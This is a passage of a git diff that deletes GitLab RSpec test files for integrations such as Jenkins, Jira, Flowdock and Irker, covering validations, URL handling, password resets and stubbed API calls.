- let(:user) { create(:user, username: 'username') }
- let(:push_sample_data) do
- Gitlab::DataBuilder::Push.build_sample(project, user)
- end
-
- it do
- service_hook = double
- expect(service_hook).to receive(:execute)
- expect(drone).to receive(:service_hook).and_return(service_hook)
-
- drone.execute(push_sample_data)
- end
- end
-end
diff --git a/spec/models/project_services/ewm_service_spec.rb b/spec/models/project_services/ewm_service_spec.rb
deleted file mode 100644
index 311c456569e..00000000000
--- a/spec/models/project_services/ewm_service_spec.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe EwmService do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:project_url) }
- it { is_expected.to validate_presence_of(:issues_url) }
- it { is_expected.to validate_presence_of(:new_issue_url) }
- it_behaves_like 'issue tracker service URL attribute', :project_url
- it_behaves_like 'issue tracker service URL attribute', :issues_url
- it_behaves_like 'issue tracker service URL attribute', :new_issue_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:project_url) }
- it { is_expected.not_to validate_presence_of(:issues_url) }
- it { is_expected.not_to validate_presence_of(:new_issue_url) }
- end
- end
-
- describe "ReferencePatternValidation" do
- it "extracts bug" do
- expect(described_class.reference_pattern.match("This is bug 123")[:issue]).to eq("bug 123")
- end
-
- it "extracts task" do
- expect(described_class.reference_pattern.match("This is task 123.")[:issue]).to eq("task 123")
- end
-
- it "extracts work item" do
- expect(described_class.reference_pattern.match("This is work item 123 now")[:issue]).to eq("work item 123")
- end
-
- it "extracts workitem" do
- expect(described_class.reference_pattern.match("workitem 123 at the beginning")[:issue]).to eq("workitem 123")
- end
-
- it "extracts defect" do
- expect(described_class.reference_pattern.match("This is defect 123 defect")[:issue]).to eq("defect 123")
- end
-
- it "extracts rtcwi" do
- expect(described_class.reference_pattern.match("This is rtcwi 123")[:issue]).to eq("rtcwi 123")
- end
- end
-end
diff --git a/spec/models/project_services/external_wiki_service_spec.rb b/spec/models/project_services/external_wiki_service_spec.rb
deleted file mode 100644
index c6891401a0f..00000000000
--- a/spec/models/project_services/external_wiki_service_spec.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ExternalWikiService do
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:external_wiki_url) }
- it_behaves_like 'issue tracker service URL attribute', :external_wiki_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:external_wiki_url) }
- end
- end
-
- describe 'test' do
- before do
- subject.properties['external_wiki_url'] = url
- end
-
- let(:url) { 'http://foo' }
- let(:data) { nil }
- let(:result) { subject.test(data) }
-
- context 'the URL is not reachable' do
- before do
- WebMock.stub_request(:get, url).to_return(status: 404, body: 'not a page')
- end
-
- it 'is not successful' do
- expect(result[:success]).to be_falsey
- end
- end
-
- context 'the URL is reachable' do
- before do
- WebMock.stub_request(:get, url).to_return(status: 200, body: 'foo')
- end
-
- it 'is successful' do
- expect(result[:success]).to be_truthy
- end
- end
- end
-end
diff --git a/spec/models/project_services/flowdock_service_spec.rb b/spec/models/project_services/flowdock_service_spec.rb
deleted file mode 100644
index 94a49fb3080..00000000000
--- a/spec/models/project_services/flowdock_service_spec.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe FlowdockService do
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:token) }
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:token) }
- end
- end
-
- describe "Execute" do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
-
- before do
- @flowdock_service = described_class.new
- allow(@flowdock_service).to receive_messages(
- project_id: project.id,
- project: project,
- service_hook: true,
- token: 'verySecret'
- )
- @sample_data = Gitlab::DataBuilder::Push.build_sample(project, user)
- @api_url = 'https://api.flowdock.com/v1/messages'
- WebMock.stub_request(:post, @api_url)
- end
-
- it "calls FlowDock API" do
- @flowdock_service.execute(@sample_data)
- @sample_data[:commits].each do |commit|
- # One request to Flowdock per new commit
- next if commit[:id] == @sample_data[:before]
-
- expect(WebMock).to have_requested(:post, @api_url).with(
- body: /#{commit[:id]}.*#{project.path}/
- ).once
- end
- end
- end
-end
diff --git a/spec/models/project_services/hangouts_chat_service_spec.rb b/spec/models/project_services/hangouts_chat_service_spec.rb
deleted file mode 100644
index 9d3bd457fc8..00000000000
--- a/spec/models/project_services/hangouts_chat_service_spec.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe HangoutsChatService do
- it_behaves_like "chat service", "Hangouts Chat" do
- let(:client) { HangoutsChat::Sender }
- let(:client_arguments) { webhook_url }
- let(:payload) do
- {
- text: be_present
- }
- end
- end
-end
diff --git a/spec/models/project_services/hipchat_service_spec.rb b/spec/models/project_services/hipchat_service_spec.rb
deleted file mode 100644
index 42368c31ba0..00000000000
--- a/spec/models/project_services/hipchat_service_spec.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-# HipchatService is partially removed and it will be remove completely
-# after the deletion of all the database records.
-# https://gitlab.com/gitlab-org/gitlab/-/issues/27954
-RSpec.describe HipchatService do
- let_it_be(:project) { create(:project) }
-
- subject(:service) { described_class.new(project: project) }
-
- it { is_expected.to be_valid }
-
- describe '#to_param' do
- subject { service.to_param }
-
- it { is_expected.to eq('hipchat') }
- end
-
- describe '#supported_events' do
- subject { service.supported_events }
-
- it { is_expected.to be_empty }
- end
-
- describe '#save' do
- it 'prevents records from being created or updated' do
- expect(service.save).to be_falsey
-
- expect(service.errors.full_messages).to include(
- 'HipChat endpoint is deprecated and should not be created or modified.'
- )
- end
- end
-end
diff --git a/spec/models/project_services/irker_service_spec.rb b/spec/models/project_services/irker_service_spec.rb
deleted file mode 100644
index 07963947de8..00000000000
--- a/spec/models/project_services/irker_service_spec.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require 'socket'
-require 'json'
-
-RSpec.describe IrkerService do
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:recipients) }
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:recipients) }
- end
- end
-
- describe 'Execute' do
- let(:irker) { described_class.new }
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
- let(:sample_data) do
- Gitlab::DataBuilder::Push.build_sample(project, user)
- end
-
- let(:recipients) { '#commits irc://test.net/#test ftp://bad' }
- let(:colorize_messages) { '1' }
-
- before do
- @irker_server = TCPServer.new 'localhost', 0
-
- allow(irker).to receive_messages(
- active: true,
- project: project,
- project_id: project.id,
- service_hook: true,
- server_host: @irker_server.addr[2],
- server_port: @irker_server.addr[1],
- default_irc_uri: 'irc://chat.freenode.net/',
- recipients: recipients,
- colorize_messages: colorize_messages)
-
- irker.valid?
- end
-
- after do
- @irker_server.close
- end
-
- it 'sends valid JSON messages to an Irker listener', :sidekiq_might_not_need_inline do
- irker.execute(sample_data)
-
- conn = @irker_server.accept
- conn.each_line do |line|
- msg = Gitlab::Json.parse(line.chomp("\n"))
- expect(msg.keys).to match_array(%w(to privmsg))
- expect(msg['to']).to match_array(["irc://chat.freenode.net/#commits",
- "irc://test.net/#test"])
- end
- conn.close
- end
- end
-end
diff --git a/spec/models/project_services/issue_tracker_data_spec.rb b/spec/models/project_services/issue_tracker_data_spec.rb
deleted file mode 100644
index a229285f09b..00000000000
--- a/spec/models/project_services/issue_tracker_data_spec.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe IssueTrackerData do
- describe 'associations' do
- it { is_expected.to belong_to :integration }
- end
-end
diff --git a/spec/models/project_services/issue_tracker_service_spec.rb b/spec/models/project_services/issue_tracker_service_spec.rb
deleted file mode 100644
index 5b12c7330b8..00000000000
--- a/spec/models/project_services/issue_tracker_service_spec.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe IssueTrackerService do
- describe 'Validations' do
- let(:project) { create :project }
-
- describe 'only one issue tracker per project' do
- let(:service) { RedmineService.new(project: project, active: true, issue_tracker_data: build(:issue_tracker_data)) }
-
- before do
- create(:custom_issue_tracker_service, project: project)
- end
-
- context 'when service is changed manually by user' do
- it 'executes the validation' do
- valid = service.valid?(:manual_change)
-
- expect(valid).to be_falsey
- expect(service.errors[:base]).to include(
- 'Another issue tracker is already in use. Only one issue tracker service can be active at a time'
- )
- end
- end
-
- context 'when service is changed internally' do
- it 'does not execute the validation' do
- expect(service.valid?).to be_truthy
- end
- end
- end
- end
-end
diff --git a/spec/models/project_services/jenkins_service_spec.rb b/spec/models/project_services/jenkins_service_spec.rb
deleted file mode 100644
index 4663e41736a..00000000000
--- a/spec/models/project_services/jenkins_service_spec.rb
+++ /dev/null
@@ -1,255 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe JenkinsService do
- let(:project) { create(:project) }
- let(:jenkins_url) { 'http://jenkins.example.com/' }
- let(:jenkins_hook_url) { jenkins_url + 'project/my_project' }
- let(:jenkins_username) { 'u$er name%2520' }
- let(:jenkins_password) { 'pas$ word' }
-
- let(:jenkins_params) do
- {
- active: true,
- project: project,
- properties: {
- password: jenkins_password,
- username: jenkins_username,
- jenkins_url: jenkins_url,
- project_name: 'my_project'
- }
- }
- end
-
- let(:jenkins_authorization) { "Basic " + ::Base64.strict_encode64(jenkins_username + ':' + jenkins_password) }
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'username validation' do
- before do
- @jenkins_service = described_class.create!(
- active: active,
- project: project,
- properties: {
- jenkins_url: 'http://jenkins.example.com/',
- password: 'password',
- username: 'username',
- project_name: 'my_project'
- }
- )
- end
-
- subject { @jenkins_service }
-
- context 'when the service is active' do
- let(:active) { true }
-
- context 'when password was not touched' do
- before do
- allow(subject).to receive(:password_touched?).and_return(false)
- end
-
- it { is_expected.not_to validate_presence_of :username }
- end
-
- context 'when password was touched' do
- before do
- allow(subject).to receive(:password_touched?).and_return(true)
- end
-
- it { is_expected.to validate_presence_of :username }
- end
-
- context 'when password is blank' do
- it 'does not validate the username' do
- expect(subject).not_to validate_presence_of :username
-
- subject.password = ''
- subject.save!
- end
- end
- end
-
- context 'when the service is inactive' do
- let(:active) { false }
-
- it { is_expected.not_to validate_presence_of :username }
- end
- end
-
- describe '#hook_url' do
- let(:username) { nil }
- let(:password) { nil }
- let(:jenkins_service) do
- described_class.new(
- project: project,
- properties: {
- jenkins_url: jenkins_url,
- project_name: 'my_project',
- username: username,
- password: password
- }
- )
- end
-
- subject { jenkins_service.hook_url }
-
- context 'when the jenkins_url has no relative path' do
- let(:jenkins_url) { 'http://jenkins.example.com/' }
-
- it { is_expected.to eq('http://jenkins.example.com/project/my_project') }
- end
-
- context 'when the jenkins_url has relative path' do
- let(:jenkins_url) { 'http://organization.example.com/jenkins' }
-
- it { is_expected.to eq('http://organization.example.com/jenkins/project/my_project') }
- end
-
- context 'userinfo is missing and username and password are set' do
- let(:jenkins_url) { 'http://organization.example.com/jenkins' }
- let(:username) { 'u$ername' }
- let(:password) { 'pas$ word' }
-
- it { is_expected.to eq('http://u%24ername:pas%24%20word@organization.example.com/jenkins/project/my_project') }
- end
-
- context 'userinfo is provided and username and password are set' do
- let(:jenkins_url) { 'http://u:p@organization.example.com/jenkins' }
- let(:username) { 'username' }
- let(:password) { 'password' }
-
- it { is_expected.to eq('http://username:password@organization.example.com/jenkins/project/my_project') }
- end
-
- context 'userinfo is provided username and password are not set' do
- let(:jenkins_url) { 'http://u:p@organization.example.com/jenkins' }
-
- it { is_expected.to eq('http://u:p@organization.example.com/jenkins/project/my_project') }
- end
- end
-
- describe '#test' do
- it 'returns the right status' do
- user = create(:user, username: 'username')
- project = create(:project, name: 'project')
- push_sample_data = Gitlab::DataBuilder::Push.build_sample(project, user)
- jenkins_service = described_class.create!(jenkins_params)
- stub_request(:post, jenkins_hook_url).with(headers: { 'Authorization' => jenkins_authorization })
-
- result = jenkins_service.test(push_sample_data)
-
- expect(result).to eq({ success: true, result: '' })
- end
- end
-
- describe '#execute' do
- let(:user) { create(:user, username: 'username') }
- let(:namespace) { create(:group, :private) }
- let(:project) { create(:project, :private, name: 'project', namespace: namespace) }
- let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
- let(:jenkins_service) { described_class.create!(jenkins_params) }
-
- before do
- stub_request(:post, jenkins_hook_url)
- end
-
- it 'invokes the Jenkins API' do
- jenkins_service.execute(push_sample_data)
-
- expect(a_request(:post, jenkins_hook_url)).to have_been_made.once
- end
-
- it 'adds default web hook headers to the request' do
- jenkins_service.execute(push_sample_data)
-
- expect(
- a_request(:post, jenkins_hook_url)
- .with(headers: { 'X-Gitlab-Event' => 'Push Hook', 'Authorization' => jenkins_authorization })
- ).to have_been_made.once
- end
-
- it 'request url contains properly serialized username and password' do
- jenkins_service.execute(push_sample_data)
-
- expect(
- a_request(:post, 'http://jenkins.example.com/project/my_project')
- .with(headers: { 'Authorization' => jenkins_authorization })
- ).to have_been_made.once
- end
- end
-
- describe 'Stored password invalidation' do
- let(:project) { create(:project) }
-
- context 'when a password was previously set' do
- before do
- @jenkins_service = described_class.create!(
- project: project,
- properties: {
- jenkins_url: 'http://jenkins.example.com/',
- username: 'jenkins',
- password: 'password'
- }
- )
- end
-
- it 'resets password if url changed' do
- @jenkins_service.jenkins_url = 'http://jenkins-edited.example.com/'
- @jenkins_service.save!
- expect(@jenkins_service.password).to be_nil
- end
-
- it 'resets password if username is blank' do
- @jenkins_service.username = ''
- @jenkins_service.save!
- expect(@jenkins_service.password).to be_nil
- end
-
- it 'does not reset password if username changed' do
- @jenkins_service.username = 'some_name'
- @jenkins_service.save!
- expect(@jenkins_service.password).to eq('password')
- end
-
- it 'does not reset password if new url is set together with password, even if it\'s the same password' do
- @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
- @jenkins_service.password = 'password'
- @jenkins_service.save!
- expect(@jenkins_service.password).to eq('password')
- expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
- end
-
- it 'resets password if url changed, even if setter called multiple times' do
- @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
- @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
- @jenkins_service.save!
- expect(@jenkins_service.password).to be_nil
- end
- end
-
- context 'when no password was previously set' do
- before do
- @jenkins_service = described_class.create!(
- project: create(:project),
- properties: {
- jenkins_url: 'http://jenkins.example.com/',
- username: 'jenkins'
- }
- )
- end
-
- it 'saves password if new url is set together with password' do
- @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
- @jenkins_service.password = 'password'
- @jenkins_service.save!
- expect(@jenkins_service.password).to eq('password')
- expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
- end
- end
- end
-end
diff --git a/spec/models/project_services/jira_service_spec.rb b/spec/models/project_services/jira_service_spec.rb
deleted file mode 100644
index 73e91bf9ea8..00000000000
--- a/spec/models/project_services/jira_service_spec.rb
+++ /dev/null
@@ -1,976 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe JiraService do
- include AssetsHelpers
-
- let_it_be(:project) { create(:project, :repository) }
-
- let(:current_user) { build_stubbed(:user) }
- let(:url) { 'http://jira.example.com' }
- let(:api_url) { 'http://api-jira.example.com' }
- let(:username) { 'jira-username' }
- let(:password) { 'jira-password' }
- let(:transition_id) { 'test27' }
- let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
- let(:jira_service) do
- described_class.new(
- project: project,
- url: url,
- username: username,
- password: password
- )
- end
-
- before do
- WebMock.stub_request(:get, /serverInfo/).to_return(body: server_info_results.to_json )
- end
-
- describe '#options' do
- let(:options) do
- {
- project: project,
- active: true,
- username: 'username',
- password: 'test',
- jira_issue_transition_id: 24,
- url: 'http://jira.test.com/path/'
- }
- end
-
- let(:service) { described_class.create!(options) }
-
- it 'sets the URL properly' do
- # jira-ruby gem parses the URI and handles trailing slashes fine:
- # https://github.com/sumoheavy/jira-ruby/blob/v1.7.0/lib/jira/http_client.rb#L62
- expect(service.options[:site]).to eq('http://jira.test.com/')
- end
-
- it 'leaves out trailing slashes in context' do
- expect(service.options[:context_path]).to eq('/path')
- end
-
- context 'username with trailing whitespaces' do
- before do
- options.merge!(username: 'username ')
- end
-
- it 'leaves out trailing whitespaces in username' do
- expect(service.options[:username]).to eq('username')
- end
- end
-
- it 'provides additional cookies to allow basic auth with oracle webgate' do
- expect(service.options[:use_cookies]).to eq(true)
- expect(service.options[:additional_cookies]).to eq(['OBBasicAuth=fromDialog'])
- end
-
- context 'using api URL' do
- before do
- options.merge!(api_url: 'http://jira.test.com/api_path/')
- end
-
- it 'leaves out trailing slashes in context' do
- expect(service.options[:context_path]).to eq('/api_path')
- end
- end
- end
-
- describe '#fields' do
- let(:service) { create(:jira_service) }
-
- subject(:fields) { service.fields }
-
- it 'returns custom fields' do
- expect(fields.pluck(:name)).to eq(%w[url api_url username password])
- end
- end
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe '.reference_pattern' do
- using RSpec::Parameterized::TableSyntax
-
- where(:key, :result) do
- '#123' | ''
- '1#23#12' | ''
- 'JIRA-1234A' | 'JIRA-1234'
- 'JIRA-1234-some_tag' | 'JIRA-1234'
- 'JIRA-1234_some_tag' | 'JIRA-1234'
- 'EXT_EXT-1234' | 'EXT_EXT-1234'
- 'EXT3_EXT-1234' | 'EXT3_EXT-1234'
- '3EXT_EXT-1234' | ''
- end
-
- with_them do
- specify do
- expect(described_class.reference_pattern.match(key).to_s).to eq(result)
- end
- end
- end
-
- describe '#create' do
- let(:params) do
- {
- project: project,
- url: url, api_url: api_url,
- username: username, password: password,
- jira_issue_transition_id: transition_id
- }
- end
-
- subject { described_class.create!(params) }
-
- it 'does not store data into properties' do
- expect(subject.properties).to be_nil
- end
-
- it 'stores data in data_fields correctly' do
- service = subject
-
- expect(service.jira_tracker_data.url).to eq(url)
- expect(service.jira_tracker_data.api_url).to eq(api_url)
- expect(service.jira_tracker_data.username).to eq(username)
- expect(service.jira_tracker_data.password).to eq(password)
- expect(service.jira_tracker_data.jira_issue_transition_id).to eq(transition_id)
- expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
- end
-
- context 'when loading serverInfo' do
- let!(:jira_service) { subject }
-
- context 'Cloud instance' do
- let(:server_info_results) { { 'deploymentType' => 'Cloud' } }
-
- it 'is detected' do
- expect(jira_service.jira_tracker_data.deployment_cloud?).to be_truthy
- end
- end
-
- context 'Server instance' do
- let(:server_info_results) { { 'deploymentType' => 'Server' } }
-
- it 'is detected' do
- expect(jira_service.jira_tracker_data.deployment_server?).to be_truthy
- end
- end
-
- context 'Unknown instance' do
- let(:server_info_results) { { 'deploymentType' => 'FutureCloud' } }
-
- it 'is detected' do
- expect(jira_service.jira_tracker_data.deployment_unknown?).to be_truthy
- end
- end
- end
- end
-
- # we need to make sure we are able to read both from properties and jira_tracker_data table
- # TODO: change this as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
- context 'overriding properties' do
- let(:access_params) do
- { url: url, api_url: api_url, username: username, password: password,
- jira_issue_transition_id: transition_id }
- end
-
- let(:data_params) do
- {
- url: url, api_url: api_url,
- username: username, password: password,
- jira_issue_transition_id: transition_id
- }
- end
-
- shared_examples 'handles jira fields' do
- let(:data_params) do
- {
- url: url, api_url: api_url,
- username: username, password: password,
- jira_issue_transition_id: transition_id
- }
- end
-
- context 'reading data' do
- it 'reads data correctly' do
- expect(service.url).to eq(url)
- expect(service.api_url).to eq(api_url)
- expect(service.username).to eq(username)
- expect(service.password).to eq(password)
- expect(service.jira_issue_transition_id).to eq(transition_id)
- end
- end
-
- describe '#update' do
- context 'basic update' do
- let_it_be(:new_username) { 'new_username' }
- let_it_be(:new_url) { 'http://jira-new.example.com' }
-
- before do
- service.update!(username: new_username, url: new_url)
- end
-
- it 'leaves properties field emtpy' do
- # expect(service.reload.properties).to be_empty
- end
-
- it 'stores updated data in jira_tracker_data table' do
- data = service.jira_tracker_data.reload
-
- expect(data.url).to eq(new_url)
- expect(data.api_url).to eq(api_url)
- expect(data.username).to eq(new_username)
- expect(data.password).to eq(password)
- expect(data.jira_issue_transition_id).to eq(transition_id)
- end
- end
-
- context 'when updating the url, api_url, username, or password' do
- it 'updates deployment type' do
- service.update!(url: 'http://first.url')
- service.jira_tracker_data.update!(deployment_type: 'server')
-
- expect(service.jira_tracker_data.deployment_server?).to be_truthy
-
- service.update!(api_url: 'http://another.url')
- service.jira_tracker_data.reload
-
- expect(service.jira_tracker_data.deployment_cloud?).to be_truthy
- expect(WebMock).to have_requested(:get, /serverInfo/).twice
- end
-
- it 'calls serverInfo for url' do
- service.update!(url: 'http://first.url')
-
- expect(WebMock).to have_requested(:get, /serverInfo/)
- end
-
- it 'calls serverInfo for api_url' do
- service.update!(api_url: 'http://another.url')
-
- expect(WebMock).to have_requested(:get, /serverInfo/)
- end
-
- it 'calls serverInfo for username' do
- service.update!(username: 'test-user')
-
- expect(WebMock).to have_requested(:get, /serverInfo/)
- end
-
- it 'calls serverInfo for password' do
- service.update!(password: 'test-password')
-
- expect(WebMock).to have_requested(:get, /serverInfo/)
- end
- end
-
- context 'when not updating the url, api_url, username, or password' do
- it 'does not update deployment type' do
- expect {service.update!(jira_issue_transition_id: 'jira_issue_transition_id')}.to raise_error(ActiveRecord::RecordInvalid)
-
- expect(WebMock).not_to have_requested(:get, /serverInfo/)
- end
- end
-
- context 'when not allowed to test an instance or group' do
- it 'does not update deployment type' do
- allow(service).to receive(:can_test?).and_return(false)
-
- service.update!(url: 'http://first.url')
-
- expect(WebMock).not_to have_requested(:get, /serverInfo/)
- end
- end
-
- context 'stored password invalidation' do
- context 'when a password was previously set' do
- context 'when only web url present' do
- let(:data_params) do
- {
- url: url, api_url: nil,
- username: username, password: password,
- jira_issue_transition_id: transition_id
- }
- end
-
- it 'resets password if url changed' do
- service
- service.url = 'http://jira_edited.example.com'
- service.save!
-
- expect(service.reload.url).to eq('http://jira_edited.example.com')
- expect(service.password).to be_nil
- end
-
- it 'does not reset password if url "changed" to the same url as before' do
- service.url = 'http://jira.example.com'
- service.save!
-
- expect(service.reload.url).to eq('http://jira.example.com')
- expect(service.password).not_to be_nil
- end
-
- it 'resets password if url not changed but api url added' do
- service.api_url = 'http://jira_edited.example.com/rest/api/2'
- service.save!
-
- expect(service.reload.api_url).to eq('http://jira_edited.example.com/rest/api/2')
- expect(service.password).to be_nil
- end
-
- it 'does not reset password if new url is set together with password, even if it\'s the same password' do
- service.url = 'http://jira_edited.example.com'
- service.password = password
- service.save!
-
- expect(service.password).to eq(password)
- expect(service.url).to eq('http://jira_edited.example.com')
- end
-
- it 'resets password if url changed, even if setter called multiple times' do
- service.url = 'http://jira1.example.com/rest/api/2'
- service.url = 'http://jira1.example.com/rest/api/2'
- service.save!
-
- expect(service.password).to be_nil
- end
-
- it 'does not reset password if username changed' do
- service.username = 'some_name'
- service.save!
-
- expect(service.reload.password).to eq(password)
- end
-
- it 'does not reset password if password changed' do
- service.url = 'http://jira_edited.example.com'
- service.password = 'new_password'
- service.save!
-
- expect(service.reload.password).to eq('new_password')
- end
-
- it 'does not reset password if the password is touched and same as before' do
- service.url = 'http://jira_edited.example.com'
- service.password = password
- service.save!
-
- expect(service.reload.password).to eq(password)
- end
- end
-
- context 'when both web and api url present' do
- let(:data_params) do
- {
- url: url, api_url: 'http://jira.example.com/rest/api/2',
- username: username, password: password,
- jira_issue_transition_id: transition_id
- }
- end
-
- it 'resets password if api url changed' do
- service.api_url = 'http://jira_edited.example.com/rest/api/2'
- service.save!
-
- expect(service.password).to be_nil
- end
-
- it 'does not reset password if url changed' do
- service.url = 'http://jira_edited.example.com'
- service.save!
-
- expect(service.password).to eq(password)
- end
-
- it 'resets password if api url set to empty' do
- service.update!(api_url: '')
-
- expect(service.reload.password).to be_nil
- end
- end
- end
-
- context 'when no password was previously set' do
- let(:data_params) do
- {
- url: url, username: username
- }
- end
-
- it 'saves password if new url is set together with password' do
- service.url = 'http://jira_edited.example.com/rest/api/2'
- service.password = 'password'
- service.save!
- expect(service.reload.password).to eq('password')
- expect(service.reload.url).to eq('http://jira_edited.example.com/rest/api/2')
- end
- end
- end
- end
- end
-
- # this will be removed as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
- context 'when data are stored in properties' do
- let(:properties) { data_params }
- let!(:service) do
- create(:jira_service, :without_properties_callback, properties: properties.merge(additional: 'something'))
- end
-
- it_behaves_like 'handles jira fields'
- end
-
- context 'when data are stored in separated fields' do
- let(:service) do
- create(:jira_service, data_params.merge(properties: {}))
- end
-
- it_behaves_like 'handles jira fields'
- end
-
- context 'when data are stored in both properties and separated fields' do
- let(:properties) { data_params }
- let(:service) do
- create(:jira_service, :without_properties_callback, active: false, properties: properties).tap do |integration|
- create(:jira_tracker_data, data_params.merge(integration: integration))
- end
- end
-
- it_behaves_like 'handles jira fields'
- end
- end
-
- describe '#find_issue' do
- let(:issue_key) { 'JIRA-123' }
- let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}" }
-
- before do
- stub_request(:get, issue_url).with(basic_auth: [username, password])
- end
-
- it 'call the Jira API to get the issue' do
- jira_service.find_issue(issue_key)
-
- expect(WebMock).to have_requested(:get, issue_url)
- end
-
- context 'with options' do
- let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}?expand=renderedFields,transitions" }
-
- it 'calls the Jira API with the options to get the issue' do
- jira_service.find_issue(issue_key, rendered_fields: true, transitions: true)
-
- expect(WebMock).to have_requested(:get, issue_url)
- end
- end
- end
-
- describe '#close_issue' do
- let(:custom_base_url) { 'http://custom_url' }
-
- shared_examples 'close_issue' do
- let(:issue_key) { 'JIRA-123' }
- let(:issue_url) { "#{url}/rest/api/2/issue/#{issue_key}" }
- let(:transitions_url) { "#{issue_url}/transitions" }
- let(:comment_url) { "#{issue_url}/comment" }
- let(:remote_link_url) { "#{issue_url}/remotelink" }
- let(:transitions) { nil }
-
- let(:issue_fields) do
- {
- id: issue_key,
- self: issue_url,
- transitions: transitions
- }
- end
-
- subject(:close_issue) do
- jira_service.close_issue(resource, ExternalIssue.new(issue_key, project))
- end
-
- before do
- jira_service.jira_issue_transition_id = '999'
-
- # These stubs are needed to test JiraService#close_issue.
- # We close the issue then do another request to API to check if it got closed.
- # Here is stubbed the API return with a closed and an opened issues.
- open_issue = JIRA::Resource::Issue.new(jira_service.client, attrs: issue_fields.deep_stringify_keys)
- closed_issue = open_issue.dup
- allow(open_issue).to receive(:resolution).and_return(false)
- allow(closed_issue).to receive(:resolution).and_return(true)
- allow(JIRA::Resource::Issue).to receive(:find).and_return(open_issue, closed_issue)
-
- allow_any_instance_of(JIRA::Resource::Issue).to receive(:key).and_return(issue_key)
- allow(JIRA::Resource::Remotelink).to receive(:all).and_return([])
-
- WebMock.stub_request(:get, issue_url).with(basic_auth: %w(jira-username jira-password))
- WebMock.stub_request(:post, transitions_url).with(basic_auth: %w(jira-username jira-password))
- WebMock.stub_request(:post, comment_url).with(basic_auth: %w(jira-username jira-password))
- WebMock.stub_request(:post, remote_link_url).with(basic_auth: %w(jira-username jira-password))
- end
-
- let(:external_issue) { ExternalIssue.new('JIRA-123', project) }
-
- def close_issue
- jira_service.close_issue(resource, external_issue, current_user)
- end
-
- it 'calls Jira API' do
- close_issue
-
- expect(WebMock).to have_requested(:post, comment_url).with(
- body: /Issue solved with/
- ).once
- end
-
- it 'tracks usage' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter)
- .to receive(:track_event)
- .with('i_ecosystem_jira_service_close_issue', values: current_user.id)
-
- close_issue
- end
-
- it 'does not fail if remote_link.all on issue returns nil' do
- allow(JIRA::Resource::Remotelink).to receive(:all).and_return(nil)
-
- expect { close_issue }.not_to raise_error
- end
-
- # Check https://developer.atlassian.com/jiradev/jira-platform/guides/other/guide-jira-remote-issue-links/fields-in-remote-issue-links
- # for more information
- it 'creates Remote Link reference in Jira for comment' do
- close_issue
-
- favicon_path = "http://localhost/assets/#{find_asset('favicon.png').digest_path}"
-
- # Creates comment
- expect(WebMock).to have_requested(:post, comment_url)
- # Creates Remote Link in Jira issue fields
- expect(WebMock).to have_requested(:post, remote_link_url).with(
- body: hash_including(
- GlobalID: 'GitLab',
- relationship: 'mentioned on',
- object: {
- url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/#{commit_id}",
- title: "Solved by commit #{commit_id}.",
- icon: { title: 'GitLab', url16x16: favicon_path },
- status: { resolved: true }
- }
- )
- ).once
- end
-
- context 'when "comment_on_event_enabled" is set to false' do
